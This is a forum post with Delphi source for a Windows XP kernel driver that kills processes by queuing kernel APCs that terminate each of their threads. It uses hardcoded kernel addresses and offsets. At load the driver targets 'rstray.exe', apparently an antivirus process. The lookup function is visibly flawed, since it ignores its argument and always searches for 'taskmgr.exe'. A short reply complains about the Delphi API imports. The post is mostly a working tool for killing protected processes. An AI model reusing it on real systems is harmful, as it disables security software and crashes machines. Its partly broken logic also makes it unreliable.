首页
社区
课程
招聘
[原创]delphi版内核插apc杀进程代码
发表于: 2010-6-30 08:31 6921

[原创]delphi版内核插apc杀进程代码

2010-6-30 08:31
6921

代码从网上流传甚广的C版转换而来,记得当时蓝得我痛不欲生。其中有几处硬编码,在我虚拟机上xp sp2上运行良好,其它系统估计要做适当的改动吧.。当然,用delphi写驱动既没什么优势,也没有必要,只是作为delphi的粉丝,练手而已,不值大牛一笑

unit MyDriver;
{$HINTS OFF}
{$WARNINGS OFF}
interface

uses
  nt_status, ntoskrnl, native, winioctl, fcall, macros;

type
  TKILL = record
    PID: DWORD;
    XP_PsGetNextProcessThread: dword;
  end;
  PKILL = ^TKILL;

const
  DeviceName = '\Device\KPTest'; ///设备名
  DosDeviceName = '\??\KPTest'; ///符号链接名
  NtKernel = 'ntoskrnl.exe';
  SystemProcessesAndThreadsInformation = 05;
  PS_CROSS_THREAD_FLAGS_SYSTEM  =$10;

type
  KAPC_ENVIRONMENT = (OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment);
  MODE = (KernelMode, UserMode, MaximumMode);
  KPRIORITY = LONG;
  PKAPC_STATE = ^KAPC_STATE;
  KAPC_STATE = packed record
    ApcListHead: array[0..1] of TListEntry;
    Process: PVOID;
    KernelApcInProgress: boolean;
    KernelApcPending: boolean;
    UserApcPending: boolean;
  end;

  PAnsiString = ^TAnsiString;
  TAnsiString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PChar;
  end;
  PKNORMAL_ROUTINE = procedure(NormalContext, SystemArgument1, SystemArgument2: PVOID); stdcall;
  PKRUNDOWN_ROUTINE = procedure(Apc: PKAPC); stdcall;
  PKKERNEL_ROUTINE = procedure(Apc: PKAPC; NormalRoutine: PKNORMAL_ROUTINE; NormalContext, SystemArgument1, SystemArgument2: PVOID); stdcall;

{
  PKAPC = ^KAPC;

  KAPC = record
    Dtype: CSHORT;
    Size: CSHORT;
    Spare0: ULONG;
    Thread: PVOID;
    ApcListEntry: TListEntry;
    KernelRoutine: PKKERNEL_ROUTINE;
    RundownRoutine: PKRUNDOWN_ROUTINE;
    NormalRoutine: PKNORMAL_ROUTINE;
    NormalContext: PVOID;
    SystemArgument1: PVOID;
    SystemArgument2: PVOID;
    ApcStateIndex: CCHAR;
    ApcMode: CCHAR;
    Inserted: BOOLEAN;
  end;
}
function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; stdcall;

function KeStackAttachProcess(Process: PVOID; ApcState: PKAPC_STATE): NTSTATUS; stdcall; external NtKernel name '_KeStackAttachProcess';
function KeUnstackDetachProcess(ApcState: PKAPC_STATE): NTSTATUS; stdcall; external NtKernel name '_KeUnstackDetachProcess';
function PsGetProcessImageFileName(Process: PVOID): PUCHAR; stdcall; external NtKernel name '_PsGetProcessImageFileName';
function KeGetCurrentThread(): PKThread; stdcall; external NtKernel name '_KeGetCurrentThread';
function PsGetCurrentThread(): PEThread; stdcall; external NtKernel name '_PsGetCurrentThread';
function PsGetCurrentProcessId(): HANDLE; stdcall; external NtKernel name '_PsGetCurrentProcessId';
procedure ObDereferenceObject(MyObject: PVOID); stdcall; external NtKernel name '_ObDereferenceObject';
function PsTerminateSystemThread(ExitStatus: NTSTATUS): NTSTATUS; external NtKernel name '_PsTerminateSystemThread';

type
  TPSGETNEXTPROCESSTHREAD = function(Process: pvoid; Thread: PETHREAD): PETHREAD; stdcall;

function KeInitializeApc(
  Apc: PKAPC;
  Thread: PVOID;
  Environment: KAPC_ENVIRONMENT;
  KernelRoutine: PKKERNEL_ROUTINE;
  RundownRoutine: PKRUNDOWN_ROUTINE;
  NormalRoutine: PKNORMAL_ROUTINE;
  ProcessorMode: KPROCESSOR_MODE;
  NormalContext: PVOID
 &nbsp NTSTATUS; stdcall; external NtKernel name '_KeInitializeApc';

function KeInsertQueueApc(
  Apc: PKAPC;
  SystemArgument1: PVOID;
  SystemArgument2: PVOID;
  Increment: KPRIORITY
 &nbsp NTSTATUS; stdcall; external NtKernel name '_KeInsertQueueApc';

var
  g_usDeviceName, g_usSymbolicLinkName: UNICODE_STRING;

implementation

function gettargetpid(procname: pchar): ULONG;
var
  cb: DWORD;
  p, pTemp: PVOID;
  pnProcessName: TAnsiString;
  aa: Tansistring;
  iCnt: integer;
  pThreadAddr: Pointer;
  uModule: ULONG;
  process: PVOID;
begin
  cb := 0;
  result := 0;
  ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, @p, 0, @cb);
  if cb <> 0 then
  begin
    p := ExAllocatePool(PagedPool, cb);
    if p <> nil then
    begin
      if ZwQuerySystemInformation(SystemProcessesAndThreadsInformation,
        p, cb, @cb) = STATUS_SUCCESS then
      begin
        pTemp := p;
        repeat
          with (PSYSTEM_PROCESS_INFORMATION(pTemp))^.Process_NT5.Process do
          begin
            RtlUnicodeStringToAnsiString(@pnProcessName, @ProcessName, True);
            //DbgPrint(pnProcessName.Buffer);
            if (_stricmp(pnProcessName.Buffer, 'taskmgr.exe') = 0) then
            begin
              PsLookupProcessByProcessId(ProcessId, process);
              result := ProcessId;
              exit;
            end;
            inc(PCHAR(pTemp), NextEntryDelta);
          end;
        until (PSYSTEM_PROCESS_INFORMATION(pTemp))^.Process_NT5.Process.NextEntryDelta = 0;
      end;
      ExFreePool(p);
    end;
  end;
end;

function DispatchCreateClose(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall; ///对打开或关闭请求的响应 ,这里就是简单的返回一个成功
begin
  p_Irp^.IoStatus.Status := STATUS_SUCCESS; ///设置状态为STATUS_SUCCESS 即成功
  p_Irp^.IoStatus.Information := 0;
  IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///调用IoCompleteRequest完成IRP
  Result := STATUS_SUCCESS;
end;

function KernelTerminateThreadRoutine(
  Apc: PKAPC;
  NormalRoutine: PKNORMAL_ROUTINE;
  NormalContext: PVOID;
  SystemArgument1: PVOID;
  SystemArgument2: PVOID
 &nbspUlong;stdcall;
begin
  ExFreePool(Apc);
  PsTerminateSystemThread(0);
  //DbgPrint('oh yeah!');
  result:=DbgPrint('oh yeah!');
end;

function MyTerminateThread(Thread: PETHREAD): BOOLEAN;
var
  bSucceed: BOOLEAN;
  Apc :PKAPC;
begin
  Apc := nil;
  bSucceed := FALSE;
  if not (MmIsAddressValid(Thread)) then
  begin
    result := false;
    exit;
  end;
  Apc := ExAllocatePool(NonPagedPool, sizeof(KAPC));
  DbgPrint('ethread is:%x', ulong(Thread));
  PULONG(ulong(Thread)+ $248 )^:=$00000010;
  DbgPrint('Apc^ is:%x', Apc^);
  DbgPrint('Apc is:%x', Apc);
  DbgPrint('sizeof(Apc) is:%x', sizeof(KAPC));
  DbgPrint('Thread is:%x', Thread);
  DbgPrint('OriginalApcEnvironment is:%x', OriginalApcEnvironment);
  DbgPrint('@KernelTerminateThreadRoutine is:%x', @KernelTerminateThreadRoutine);
  DbgPrint('KernelMode is:%x', KernelMode);

  if Apc=nil then  DbgPrint('失败');
  KeInitializeApc(Apc,
    Thread,
    OriginalApcEnvironment,
    @KernelTerminateThreadRoutine,
    nil,
    nil,
    KPROCESSOR_MODE(KernelMode),
    nil);
  bSucceed := BOOLEAN(KeInsertQueueApc(Apc, PVOID(0), PVOID(0), 0));  
  result := bSucceed;
end;

function Kill(eprocess: pvoid): NTSTATUS;
var
  st: NTSTATUS;
  ethread: PETHREAD;
  MyPspGetNetxtThread: TPSGETNEXTPROCESSTHREAD;
begin
  st := STATUS_SUCCESS;
  ethread := nil;
  MyPspGetNetxtThread := TPSGETNEXTPROCESSTHREAD($8057EAEC);
  ethread := MyPspGetNetxtThread(eprocess, nil);
  while ethread <> nil do
  begin
    MyTerminateThread(ethread);
    ethread := MyPspGetNetxtThread(eprocess, ethread);
  end;
  result := st;
end;

procedure KillByPid(pid: ulong);
var
  st: NTSTATUS;
  eprocess: pvoid;
begin
  st := STATUS_SUCCESS;
  eprocess := nil;
  DbgPrint('PID is:%d', pid);
  if pid=0 then exit;
  st := PsLookupProcessByProcessId(pid, eprocess);
  if (NT_SUCCESS(st)) then
  begin
    ObDereferenceObject(eprocess);
    st := Kill(eprocess);
  end;
end;

function DispatchControl(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall;
var
  dwIoControlCode: DWORD;
  dwInputBufferLength, dwOutBufferLength: DWORD;
  status: NTSTATUS;
  dwBytesReturned: DWORD;
  psl: PIO_STACK_LOCATION;
  IOCTL_KILL_PROCESS: DWORD;
  pSystemBuffer: Pointer;
  //InBuffer: PKILL;
begin
  dwBytesReturned := 0;
  psl := IoGetCurrentIrpStackLocation(p_Irp); {取IRP的stack location的指针}
  dwIoControlCode := psl^.Parameters.DeviceIoControl.IoControlCode; ///取控制码
  dwInputBufferLength := psl^.Parameters.DeviceIoControl.InputBufferLength; ///传入Buffer的大小
  dwOutBufferLength := psl^.Parameters.DeviceIoControl.OutputBufferLength; ///传出Buffer的大小
  pSystemBuffer := p_Irp^.AssociatedIrp.SystemBuffer; ///传入Buffer的指针

  IOCTL_KILL_PROCESS := CTL_CODE(FILE_DEVICE_UNKNOWN, $805, METHOD_BUFFERED, FILE_READ_ACCESS + FILE_WRITE_ACCESS); ///生成我们的控制码

  if dwIoControlCode = IOCTL_KILL_PROCESS then ///如果是我们的控制码
  begin
    DbgPrint('Control Code is:0x%X', dwIoControlCode); ///输出我们的控制码
    dwBytesReturned := 0; ///这里设置返回数据的大小
    status := STATUS_SUCCESS;
  end else
  begin
    status := STATUS_INVALID_DEVICE_REQUEST;
  end;

  p_Irp^.IoStatus.Status := status;
  p_Irp^.IoStatus.Information := dwBytesReturned;

  IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///完成IRP
  Result := status;
end;

procedure DriverUnload(p_DriverObject: PDRIVER_OBJECT); stdcall;
begin
  DbgPrint('Driver Unload!'); ///输出调试字符串
  IoDeleteSymbolicLink(@g_usSymbolicLinkName); ///删除我们创建的符号链接
  IoDeleteDevice(p_DriverObject^.DeviceObject); ///删除我们创建的设备
end;

///驱动入口点

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS;
var
  status: NTSTATUS;
  mypid:ulong;
  DeviceObject: TDeviceObject;
begin
  status := STATUS_DEVICE_CONFIGURATION_ERROR;
  ///初始化UNICODE_STRING结构
  RtlInitUnicodeString(g_usDeviceName, DeviceName);
  RtlInitUnicodeString(g_usSymbolicLinkName, DosDeviceName);
  mypid:= gettargetpid('rstray.exe');
  DbgPrint('mypid is:%d', mypid);
  KillByPid(mypid);
  ///创建设备
  if (IoCreateDevice(pDriverObject, 0, @g_usDeviceName,
    FILE_DEVICE_UNKNOWN, 0, FALSE,
    DeviceObject) = STATUS_SUCCESS) then
  begin
    ///如果创建成功
    DbgPrint('Create Device Success'); ///输出调试字符串
    ///创建符号链接
    if (IoCreateSymbolicLink(@g_usSymbolicLinkName,
      @g_usDeviceName) = STATUS_SUCCESS) then
    begin
      ///如果创建符号链接成功执行下面的代码
      DbgPrint('Create SymbolicLink Success'); ///输出调试字符串
      ///开始设置我们自己的分发函数
      pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @DispatchCreateClose; ///这里把IRP_MJ_CREATE IRP_MJ_CLOSE设置到一个函数上
      pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @DispatchCreateClose;
      pDriverObject^.MajorFunction[IRP_MJ_DEVICE_CONTROL] := @DispatchControl; ///对DeviceIoControl的响应,非常重要
      pDriverObject^.DriverUnload := @DriverUnload; ///当驱动动态卸载时执行DriverUnload
      status := STATUS_SUCCESS; ///返回STATUS_SUCCESS;
    end else ///如果创建符号链接不成功
    begin
      DbgPrint('Create SymbolicLink Failed'); ///输出调试字符串
      IoDeleteDevice(@DeviceObject); ///删除设备
    end;
  end;
  Result := status;
end;

end.


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (1)
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
看到你引入的那么多API  我就痛苦。delphi。。。
2010-7-1 02:04
0
游客
登录 | 注册 方可回帖
返回
//